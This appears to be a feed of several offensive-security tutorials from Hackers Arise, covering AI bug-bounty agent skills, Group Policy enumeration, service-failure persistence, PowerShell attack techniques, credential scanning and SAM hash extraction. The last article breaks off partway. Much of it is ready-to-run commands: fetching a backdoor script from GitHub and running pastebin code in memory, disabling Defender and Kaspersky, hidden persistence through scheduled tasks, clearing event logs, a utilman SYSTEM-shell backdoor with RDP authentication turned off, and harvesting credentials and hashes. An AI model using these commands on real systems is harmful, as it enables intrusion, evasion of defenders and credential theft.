Microsoft’s record September Patch Tuesday fixes 974 vulnerabilities, including two exploited zero-days. Here’s what IT teams should prioritize.
The post Microsoft Fixes 974 Flaws in Record Patch Tuesday appeared first on TechRepublic.
Microsoft’s record September Patch Tuesday fixes 974 vulnerabilities, including two exploited zero-days. Here’s what IT teams should prioritize.
The post Microsoft Fixes 974 Flaws in Record Patch Tuesday appeared first on TechRepublic.
Welcome back, aspiring cyberwarriors!
Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.
There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.
Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.
The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.
You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.
The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.
Here are a few examples of the results we got with these skills.
API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.
Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.
We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.
Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings.
Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).
Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.
Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.
Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.
On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.
The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.
Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.
1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.
Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.
The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.
AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.
Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.
The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.
Welcome back, pentesters!
Some of you have probably heard about Group Policies and that you need to “check the GPOs” a few times without anyone actually explaining to you why. We’re going to fix that. Group Policy has been part of Active Directory for a long time and it’s still one of the first things pentesters should check. Mainly because it’s boring and boring things are often ignored by admins.
A GPO can hold a cleartext password. It may have a script with internal paths and usernames. It can also be edited by someone who left the team and never got their permissions pulled. These things don’t require any exploit, you just need to know where to look.
A Group Policy Object is actually two things stuck together. Often beginners only learn about one of them. The first half lives in Active Directory. It’s an object with a name, an owner, a list of who can edit it and a list of where it’s linked. This is the part that Group Policy Management Console (GPMC) shows you. The second half lives on a file share called SYSVOL (e.g. \\sekvoya.local\SYSVOL\sekvoya.local\Policies\{GUID}\). This folder holds the actual settings and has registry values, XML files, scripts and more.
Any domain user can usually read SYSVOL. So if something sensitive is dropped in there (a stored password or a script with internal server names) you can extract it.
We’re going to use GPOZaurr for most of this. It’s a legitimate PowerShell module made for GPO audit.
Here is how you set it up:
LoginPS > Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'
PS > Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'
PS > Install-Module -Name GPOZaurr -AllowClobber -Force
PS > Import-Module GPOZaurr
Before we start hunting for anything, let’s see what GPOs exist in the domain. Later we will pull the secrets.
PS > Get-GPOZaurr | Format-Table DisplayName, DomainName, Empty, Linked, Enabled -AutoSize
For every GPO it tells you whether it holds settings (Empty), whether anything actually links to it (Linked) and shows their status (Enabled).
As you can see, Map Network Drives – Finance is empty and not linked anywhere, someone started building a drive mapping policy and just never finished it. WSUS Settings – Old has a setting but isn’t linked to anything, so it does nothing to any computer. It just sits there. Remote Desktop – Vendors are linked but disabled. That can happen if we gave vendors RDP access at some point, then turned it off and never deleted the policy.
It’s important to understand that unlinked and disabled don’t mean safe. The object still exists. The SYSVOL folder behind it still exists. That’s where old Groups.xml files and forgotten scripts sit around waiting to be found. Stick for it.
Once you know that a GPO exists, you should look up what computers it affects. Only linked GPOs can affect computers. A link basically means that this GPO applies to this domain, this site or this OU.
PS > Get-GPOZaurrLink | Format-Table DisplayName, CanonicalName, Enabled, Enforced -AutoSize
Enabled here describes the link, not the GPO itself. It means the attachment is switched on. Enforced means this GPO wins even if a lower OU tries to block it. In our table nothing is enforced. Blocked inheritance is a setting on the OU itself that prevents handing policies from above unless they’re enforced.
Everything here lands on sekvoya.local/Workstations-Temp. That OU also blocks inheritance, because these are temp machines and nobody wants the domain-wide policy fighting with their imaging process.
You’ll also see Remote Desktop – Vendors that are Enabled, even though we said earlier the GPO itself is disabled. You can absolutely have a live link pointing at a dead GPO and it’ll still show up here.
The GPO linked to Workstations-Temp means every computer in that OU applies it. Always ask “linked where”. Domain root and the Domain Controllers OU are the highest value targets.
Let’s list what computers are in Workstations-Temp.
PS > Get-ADComputer -SearchBase "OU=Workstations-Temp,DC=sekvoya,DC=local" -Filter * | Select-Object Name, DistinguishedName
Now that we know which GPOs hit Workstations-Temp, we can find out what they actually do.
PS > Find-GPO -GPOName 'Local Administrator Password' -SingleObject
PS > Find-GPO -GPOName 'Logon Script - Standard User' -SingleObject
PS > Find-GPO -GPOName 'WSUS Settings - Old' -SingleObject
Find-GPO reads the GPT, which is just the SYSVOL content and prints it. But in our case, only WSUS was printed with a DNS name and a link. But “empty” doesn’t always mean empty. Get-GPOZaurr and Find-GPO mostly trust Active Directory. They look at the GPO’s version number and its extension attributes (gPCMachineExtensionNames and gPCUserExtensionNames). If a setting was pushed through GPMC properly, those fields get updated and the GPO shows up as not empty.
You might find an environment where that’s not the case. Files can be dropped straight onto SYSVOL by hand.
For the reason mentioned above, we won’t trust the output and list all the files ourselves.
PS > Get-GPOZaurrFiles | Format-Table GPOName, FullName, Length -AutoSize
Here we’re not querying Active Directory, that’s why we get the output. It’s showing us the actual Policies folder tree and listing what’s inside. We can open the same folders as any domain user in Explorer.
Our SYSVOL has Groups.xml with cpassword, logon.bat and office2013.adm, which is a legacy ADM template that tells you this domain hasn’t been cleaned up since 2013. Readme.txt has some notes. Take some time and look through your output.
Let’s take a look at Groups.xml and see its structure.
PS > findstr /s /i cpassword \\sekvoya.local\sysvol\*.xml
Above you can see cpassword. It was introduced in Windows Server 2008 to let administrators manage domain-wide settings and deploy local administrator passwords. Microsoft encrypted the passwords using AES, but then made the private encryption key public. We can use NetExec to extract and decode the password stored there.
kali > nxc smb DC -u user -p password 
Reading SYSVOL can give you old leftover passwords. But we can also find out who can push something new into a GPO that’s still live.
PS > Get-GPOZaurrPermission | Where-Object { $_.DisplayName -eq 'Local Admins - Workstations' } | Format-Table DisplayName, PrincipalName, Permission, PrincipalSidType -AutoSize
This pulls the ACL on the GPO object inside our AD, which tells you who can read it, who can make it apply to them, edit and change security settings. GpoRead and GpoApply mean you can see the GPO or have it apply to you, which is completely normal for Authenticated Users or Domain Computers. GpoEdit and GpoEditDeleteModifySecurity mean you can actually change settings or change who else is allowed to.
In our lab, jpatel has GpoEditDeleteModifySecurity on Local Admins – Workstations, and that GPO is linked to Workstations-Temp. Domain Users also have GpoApply on it, which is normal on the surface. Somebody got delegated edit rights on a GPO for some project or ticket (helpdesk). The ticket closed months ago, but nobody went back and pulled the permission. So not only can you read the leftover password, you can also edit rights on a linked GPO and write the next one. Those are two very different levels of access.
A low privileged user who can edit a linked GPO can add things like an Immediate Scheduled Task, a Restricted Groups entry or a startup script. These can turn into code execution on every machine that GPO touches. SharpGPOAbuse and pyGPOAbuse are built for that. GPOZaurr can only find things and fix them. The actual abuse is a separate topic.
An edit permission is one entry on a list. Ownership is stronger, because whoever owns the Active Directory object can usually reset the entire access list from scratch. When they own the SYSVOL folder, they can change the files directly, even if the AD permissions look locked down tight. Both of those owners are supposed to be Domain Admins or BUILTIN\Administrators. But this can drift over time, especially if a company is big.
PS > Get-GPOZaurrOwner -IncludeSysvol | Where-Object { $_.DisplayName -eq 'Printer Deployment - 3rd Floor' } | Format-Table DisplayName, Owner, OwnerType, SysvolOwner -AutoSize
In our lab, Printer Deployment – 3rd Floor is owned by jpatel. That’s the same user who could edit the local admins GPO. So we have two separate mistakes, but one person behind both of them. At some point they deployed printers on the 3rd floor and picked up more access than they should have kept.
If you compromise jpatel, you own an entire GPO object outright. Their helpdesk account can be used to write policy for a whole OU.
We tried to simplify the concept of GPOs and how they work in Active Directory. As you can see, credentials can hide not only in LDAP user description and text files on the workstation, but also on the Domain Controller itself in SYSVOL that any domain user can read. Hackers often abuse GPOs and create their own policies affecting all computers and in the domain disabling Defender and booting them into Safe Mode to execute ransomware. This abuse has been reported several times.
There are a lot of different options for escalating your privileges in a misconfigured domain. The boring and complex things like GPOs and ADCS are often left vulnerable, simply because they are tedious to work with. But not for you!
Want to become a Powershell expert? Join our Powershell for Hackers training.
The post Pentesting: Group Policy for Hackers – Basics first appeared on Hackers Arise.
Welcome back, cyberwarriors!
Defense evasion always comes down to creativity and a deep understanding of the system. Defenders are catching up with new things all the time. In this constant race nothing stays relevant for long.
RecoverIt came out a few months ago showing how to abuse the Windows service failure recovery function to execute a payload. Persistence and lateral movement usually need changing a service’s ImagePath or creating a new service, which gets flagged by EDR products (Event IDs 7045 / 4697, binary paths and so on), but this tool and techniques gets around that problem.
Every Windows service has a Recovery tab in its configuration that defines what happens when a service crashes or fails. That can mean restarting the service, running a program or rebooting the computer. RecoverIt points the recovery command at a payload, then crashes the service so Windows executes the recovery program. This mechanism isn’t closely monitored, so it’s a way to get code execution under a legitimate and privileged service.
Here is how it works:
PS > .\RecoverIt.exe <ServiceName> <ProgramPath> <Arguments>Since the compiled version can be hashed and added to the EDR’s database, we’ll also look at the technique itself.
For this attack to work, you need to find a normal Windows service that always crashes when you start it. We’ll use UevAgentService for this example. On systems where UE-V is disabled or not configured, starting this service causes an immediate failure.
PS > sc.exe query UevAgentService
PS > sc.exe failure UevAgentService
As you can see, the service does exist and there’s no recovery plan set for it. On our machine it was stopped.
Now let’s create a recovery plan for it.
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= “C:\Windws\System32\cmd.exe /c whoami > C:\Windows\Temp\uev_test.txt”
PS > sc.exe failureflag UevAgentService 1
PS > sc.exe qfailure UevAgentService
Once the service crashes it will print the output of whoami into uev_temp.txt
UevAgentService can be started on boot or on demand:
# On demand - you will need to start it manually
PS > sc.exe config UevAgentService start= demand
# On boot
PS > sc.exe config UevAgentService start= autoThen we start it:
PS > sc.exe start UevAgentService
Now we can validate it by checking the state and the result:
PS > sc.exe query UevAgentService
PS > type C:\Temp\uev_test.txt
As you can see, the service failed to start and Windows executed the recovery plan.
The example above is benign, but you can also try it in different ways. Here are a few examples:
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Windows\system32\payload.exe"
# or with arguments
PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"
We set it up to execute a Metasploit stager and got our connection back.
Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.
Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.
The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors!
Today we start our series on PowerShell for hackers. In this opening article we’ll explore the core techniques of PowerShell, starting with foundational concepts before working with PowerView and crafting scripts for backdoors, data exfiltration, and extracting password hashes.
The methods we cover here come from real engagements. You’ll see different terminals and interfaces, since we’ll be shifting targets. So get comfortable with older Windows systems, a lot of which are still in use today (ATMs, medical devices, point of sale systems, and so on), mainly due to budget constraints.
Defenders should also understand how Windows can be used for attacks, since they’re not limited to Linux only. Its administrative functions offer stealth during operations, which helps hackers stay under the radar.
PowerShell is a powerful scripting language that was initially designed for system administration and automation. It has direct access to the .NET framework and Windows Management Instrumentation (WMI), which gives you control over system components, processes and network configurations.
It also comes with “living off the land” (LOL) tools. These help hackers work without bringing in external binaries that could trigger alerts. That way they can discreetly execute commands, set up remote sessions, find credentials, check system configuration, manipulate the system, and run payloads in memory. PowerShell helps you blend into a normal system routine.
Now let’s look at its capabilities.
To make the transition from Linux easy, here’s a table with common commands that exist in PowerShell.
That’s the backbone. It does have some unique commands too, but these are enough to start.
Legacy CMD commands are also supported. For instance, type will print the contents of a text file:
PS > type example.txt
It’s worth learning a few CMD commands just as a fallback.
You can change directories with cd, but sometimes you run into a non-English system where files and directories are in a foreign language. Evil-WinRM often struggles with this, corrupting the characters you type. In this case, you can use variables:
PS > $items = Get-ChildItem
PS > cd $items[4].FullName
Keep in mind, PowerShell uses zero based indexing (so $items[0] is the first item). This trick comes in handy when you have a PowerShell session inside some hacking tool that doesn’t play well with other languages.
Wildcards are another time-saver for complex file names:
PS > cat *.txt # Displays all .txt files
PS > cd * # Enters the only subdirectory in the current location
PS > cat 1* # Reads files starting with "1"When you’re digging through a lot of corporate data, changing directories manually gets exhausting. Use tree to recursively view the file structure:
PS > tree /F
To move laterally you need credentials. You can find passwords manually on the Desktop, in the browser or in messaging apps, but this whole process can be automated with a one liner, since you never know where those credentials are sitting on a system.
With findstr you can search for specific patterns in files or command outputs. It’s present on every Windows system:
PS > findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.gif *.ps1 *.yml
This searches recursively (/S), case insensitively (/I), for “password” across various files, listing matching files (/M).
The Windows Registry is another source of credentials. It stores system and user configurations. Here are some commands:
PS > reg query HKLM /f password /t REG_SZ /sThis searches the HKEY_LOCAL_MACHINE (HKLM) hive for string values containing “password”, potentially finding credentials used by software or services.
PS > reg query HKCU /f password /t REG_SZ /sThis targets the HKEY_CURRENT_USER (HKCU) hive for user settings with “password”. This may have application configurations.
PS > reg query "HKCU\Software\ORL\WinVNC3\Password"Extracts reversible password for WinVNC v3 credentials.
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"Checks autologin settings, which may have plaintext credentials like DefaultUsername and DefaultPassword if enabled.
PS > reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP"Checks Simple Network Management Protocol (SNMP) settings for community strings. These are weak credentials for network devices that are often overlooked by administrators.
PS > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"Finds saved PuTTY (SSH) session data, including IP addresses and usernames
These reg queries can be used for quick credential discovery, that way you don’t run external tools.
LaZagne isn’t a PowerShell tool, but it’s often used to extract credentials. It looks for passwords in browsers, email clients, WiFi settings, FTP tools and databases by analyzing config files, registry entries and memory.
For example, discovering an Outlook password for a department head could be used for social engineering attacks. More articles on social engineering are available on our website.
The SMB Hash Leak technique captures NTLMv1 or NTLMv2 hashes by creating a fake Windows shortcut (.lnk) file pointing to a nonexistent remote resource. When a user opens a folder with this file in it, Windows attempts an SMB connection, sending the user’s hashed credentials to your server. These hashes can then be cracked offline or relayed.
Using Inveigh, you can set up a fake SMB/HTTP listener:
PS > powershell -ep bypass
PS > . .\Inveigh.ps1
PS > Invoke-Inveigh -ConsoleOutput Y -NBNS Y -HTTPS Y -PROXY Y
Success depends on timing and network interface configuration.
Captured hashes can be cracked using Hashcat in NTLMv2 mode (5600).
An execution policy in PowerShell is a safety feature that controls whether and how PowerShell scripts can run on a system. It’s a built-in warning system meant to stop users from accidentally running untrusted or harmful scripts. To bypass it for the current session:
PS > powershell -ep bypass
For a persistent change (you need admin privileges):
PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -ForceThis disables script execution restrictions machine wide, unless Group Policy overrides it.
You can use cmdlets like Invoke-WebRequest (iwr) or wget to download files. Besides these, there are plenty of other techniques out there that don’t get monitored.
Using iwr you can download a script from GitHub
PS > powershell -c iwr -Uri https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1Or simply type this:
PS > iwr https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -OutFile anydesk.ps1
That’s a well known Linux command. It works here as well:
PS > wget https://raw.githubusercontent.com/AiGptCode/ANYDESK-BACKDOOR/refs/heads/main/Anydesk-backdoor.ps1 -O anydesk.ps1
This command downloads a script from the URL and pipes it directly into the PowerShell interpreter using Invoke-Expression, executing it in memory without ever touching the disk. That’s a classic fileless execution technique.
PS > iex (Invoke-WebRequest -Uri 'http://pastebin.com/raw/7b4byHdd')
As you can see, our script successfully executed.
A PowerShell downgrade attack is a technique where you deliberately launch an older version of PowerShell (version 2.0) to bypass some modern security features.
PS > powershell -version 2
When you gain system access, always check whether the AV is running:
PS > Get-Service -Name windefendFor Kaspersky:
PS > Get-Service | Where-Object { $_.DisplayName -like "*Kaspersky*" }
You can check other systems remotely with WMI. The command below lists the name of the antivirus installed:
PS > Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName 'OM-2' -Credential (Get-Credential Administrator) | Select-Object PSComputerName, displayName, pathToSignedProductExe, productState
Here is how you disable Windows Defender:
PS > Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableNetworkProtection AuditMode -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -EnableControlledFolderAccess DisabledKaspersky can be disabled with this command, provided it’s just a local installation:
PS > Stop-Service -Name KAVFS,kavfsslp,klnagent -ForceBase64 can encode binary or text into a portable format. When you convert something into Base64, it makes it harder to immediately understand what the code does.
PS > [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Write-Host "Hackers-Arise!"'))
PS > powershell -e "<base64>"
Encoded reverse shells can be customized on revshells.com and used to connect back to your listener.
Profile persistence is a technique of embedding code into a user’s PowerShell profile so the code executes every time a new PowerShell session starts. When PowerShell launches, it checks for profile scripts and runs whatever commands they hold.
Let’s add a script to our profile:
PS > Add-Content -Path $Profile -Value “C:\Windows\Temp\script.ps1”
PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
-WindowStyle Hidden makes a PowerShell script or command run without showing any visible window to the user. When hackers run scripts, they don’t want to draw attention. If you run PowerShell normally, a window might briefly flash on screen and alert the victim.
Let’s execute our script:
PS > Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File C:\Windows\Temp\script.ps1"
-NoProfile avoids loading profile scripts:
PS > powershell.exe -NoProfile -Command "Write-Output 'Hackers-Arise!'"Just like in Linux, there’s a command history. By default it typically holds the last 50 entries. You can list them with Get-History.
Or read the file itself:
PS > Get-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt”
Instead of deleting it, let’s overwrite it:
PS > Set-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt” -Value “”
Listing command lines for each process can help you find usernames, passwords, IPs and other things.
PS > gwmi win32_process | select CommandLine
Scheduled Tasks get used for persistence and privilege escalation. Each task is defined by a set of triggers (at logon, at a given time, or on an event), actions (the program, script, or command to run), and optional conditions or settings that control retries and timeouts.
For privilege escalation you want to find vulnerable tasks. We’ll output all the scheduled tasks to a file and then look for “SYSTEM”:
PS > schtasks /query /fo LIST /v > schtask.txtFor persistence, create your own task or modify the existing one:
PS > schtasks /create /tn “Windows Update Service” /tr “C:\Windows\Temp\hackers-arise.exe” /sc hourly /mo 3 /ru System”Make sure it exists:
PS > schtasks /query /tn “Windows Update Service”Force it to run immediately:
PS > schtasks /run /tn “Windows Update Service”Or delete it:
PS > schtasks /delete /tn “Windows Update Service” /f
Everything was successful.
To see currently active user sessions, use quser or qwinsta. These commands show usernames with their session details, including idle time.
If you need to kill someone’s connection:
PS > logoff ((quser | Where-Object { $_ -match 'username' } ) -split '\s+' )[2]If you accidentally trigger the creation of a new user profile by signing into a computer where that user has never logged in before, kill the session tied to that user first, then delete the created user folder:
PS > cmd.exe /c "rd /s /q C:\Users\username"Hackers clear Windows logs to cover their tracks. Here’s how:
PS > Clear-EventLog Security,System,Application; "Windows PowerShell","Microsoft-Windows-PowerShell/Operational","Microsoft-Windows-WMI-Activity/Operational" | ForEach-Object { & "$env:windir\System32\wevtutil.exe" cl $_ }
First the command clears the classic Windows event logs, then it uses wevtutil.exe to clear the more modern ones.
Below you can find other useful commands.
Once a system’s been compromised, you can establish a backdoor. There are many of them, depending on your objectives and the environment. Our technique uses utilman.exe.
Utilman.exe is the Windows Utility Manager. It’s the program that runs when you click the “Ease of Access” button on the login screen or press Win+U. It’s meant to provide accessibility tools (Narrator, Magnifier, or On-Screen Keyboard) before you log in.
It can be exploited by tweaking the registry so it points to cmd.exe instead. As a result, pressing the Ease of Access button at the login prompt launches a CMD prompt with SYSTEM privileges.
Using registry let’s set up the backdoor:
PS > reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /fThen we disable NLA for RDP, that way it won’t require valid credentials to open an RDP session:
PS >reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /fAfter that you need to reboot the system or wait for an administrator to do it.
If you use Sticky Keys instead, you won’t need to reboot at all.
PowerShell is a powerful tool, as you can see. In this first part, we’ve covered essential commands, credential harvesting, persistence and stealth. In the next part, we’ll build on this foundation with more advanced tools.
If you want to learn how PowerShell can be used in both red team and blue team scenarios, get our PowerShell for Hackers training. We’ll show things that can’t be covered here.
The post PowerShell for Hackers, Part 1: The Basics first appeared on Hackers Arise.
Welcome back, cyberwarriors!
When you just land on a new machine, you often have to sit down and go through every running service just to figure out what’s actually installed and which of those apps might be worth a closer look for credentials in a config somewhere. You can’t skip this part, as it usually gives you something you’ll need later in the engagement, but it eats time. A lot of it.
There are older tools that try to do something similar, but the two we’re covering today are more current. LOLCreds and CredsHound come from the same developer and they cover a huge amount of software.
So let’s see how they work.
LOLCreds is a website that has 678 different credentials. Some software generates a password when you install it or prompts you to enter it. There are also static credentials that are baked into the product. The D-Link backdoor credentials are a good example of the second kind.
LOLCreds also tracks AI API keys and shows you exactly where to find them on a system. Here’s what it has on Cursor.
MySQL is a more basic example. Its password is often hidden in a config file or sitting as a variable in the env file.
All of that is great when you already know what software you’re hunting through and you’re picking it one at a time. But machines might have dozens of applications running. Software can be removed, but configs stay and password reuse is common. You can use CredsHound for this hunt.
CredsHound is a scanner written in Go. Under the hood it pulls templates from LOLCreds so it can run product aware checks. It has been fully optimized for modern environments, so it will scan everything from DBeaver encrypted databases to OpenCode, GitHub Copilot CLI, Hugging Face, OpenAI and more.
Before you start using the scanner, you need to have Go installed.
bash$ > sudo apt install golang
bash$ > go install github.com/haxxm0nkey/credshound/cmd/credshound@latest
Once that finishes, you may run into a common issue where the Go binaries aren’t included in your system path yet. Add them yourself:
bash$ > sudo echo “export PATH:$PATH:/home/user/go/bin” >> /etc/profile
bash$ > source /etc/profileNow we’re ready.
There are different ways you can run it, but you always start with updating the template library. The scanner can be used with different privileges, but we’ll use root.
# Update templates
bash# > credshound -ut
# Scan /etc
bash# > credshound -t /root/.cache/credshound/templates /etc
Our system is fresh, so there’s not much on it yet. A box that’s been sitting in prod for a while will have more interesting results, like the one below.
CredsHound can also work with BloodHound to show you the relationships between credentials as a graph. Here’s how to set it up:
ubuntu$ > credshound -t ~/lolcreds-templates -bloodhound -o credshound-bloodhound.json .Then you import the JSON file into BloodHound and see what comes up.
When you’ve collected many of these JSON files from different machines, you’ll start seeing the architecture of what you’re testing.
A few more commands you’ll find useful:
# Scan the current directory
bash$ > credshound .
# Scan multiple roots
bash$ > credshound ~/project /etc
# Scan only env variables
bash$ > credshound -sources env
# Scan current and process environment variables on Linux
bash$ > credshound -sources env,procCredential hunting is a tedious thing when you do it manually, but you can’t really skip this part. It’s essential to move further. The tools covered can make the whole process easier and the output rich. LOLCreds has a reference library for different products and CredsHound can scan your hosts for secrets with results that you may import into BloodHound.
If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.
The post Pentesting: Stealing Credentials with LOLCreds and CredsHound first appeared on Hackers Arise.
Welcome back, cyberwarriors!
The article on DeadMatter was really popular and relevant for many of you. DeadMatter works with LSASS and finds artifacts related to active or recently active sessions. But sometimes you need SAM hashes during a pentest.
Today we’re using 7z to find and pull the hives. It’s very common to find and it has raw disk access to fetch what we need without triggering the EDR. You can basically call it a living off the land technique due to its widespread presence. There are other ways to extract hashes, but most of them are well known and monitored. Some hackers rely on VSS and it works fine in some environments, but detecting VSS abuse isn’t hard. It’s a beginner level of complexity. VSS leaves very specific traces in the logs when you use it. Native Windows binaries get blocked outright and finding forensic tools already sitting on an endpoint is uncommon.
Credit where it’s due, Jonas Lyk shared this approach.
To make it work, you need to start 7z as Administrator, otherwise it just fails. Then you type \\.\ in the path bar and it’ll show you the drives.
Here we need PhysicalDrive0. You can’t copy it off the C:\ drive, because it’s locked by the system.
Inside you’ll see the partitions on the physical drive. Usually 1.ntfs has the structure of your C:\. 0.ntfs has $MFT, $J and the other files you want for a deeper dive.
System hives live in Windows\System32\config
Select the hives you need and copy them to a folder. We’re only pulling SAM and SYSTEM here, but you can get SOFTWARE, $MFT, $J, and NTUSER.DAT if you’re doing behavioral analysis. We covered that in our article showing how much you can find out about a user after a compromise. Behavioral analysis is also useful in pentesting. NTUSER.DAT shows a lot about how the sysadmins use their machines.
File size shows the hives aren’t empty. Now we can move them to Kali and extract the hashes.
kali > impacket-secretsdump -sam SAM -system SYSTEM LOCAL
We got all the local user hashes. If LAPS isn’t enabled (in a lot of environments it isn’t), there’s a good chance the admin hash is identical across many machines. Some admins don’t even know LAPS exists, others are scared to turn it on because they’re not in control of the password rotation. Either way, SAM alone can be enough to compromise the whole domain.
This approach hits a wall in the terminal. 7z can only parse physical disks and NTFS partitions through the File Manager GUI. The CLI version still can’t open nested partitions and throws an error every time. So the GUI is the only way you can pull it off.
There are forensics tools that do it in the terminal (AxiomSecret, RawCopy, etc.) but that’s a story for another day.
Many successful attacks use LOL techniques or signed tools. This approach is creative and 7z is already sitting on plenty of machines. Even if it’s not, bringing it over isn’t suspicious.
It won’t get you LSASS hashes, but the SAM hashes alone can be enough to compromise a company’s entire infrastructure. We showed that in our SCADA article, where the SCADA machine stored cleartext passwords in memory and password reuse helped us with the rest of the infrastructure during the pentest. LAPS isn’t hard to set up and it can close this door, so spend some time learning it.
If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.
The post Digital Forensics: Attacking SAM and Extracting Hashes With 7z first appeared on Hackers Arise.
Welcome back, cyberwarriors!
During pentests, we often run into EDRs and antiviruses protecting endpoints. These mainly stop you from dumping hashes and running malware on the hosts. Although they’re often good at what they do, they still have flaws that make them vulnerable to chokers and killers that can terminate their process.
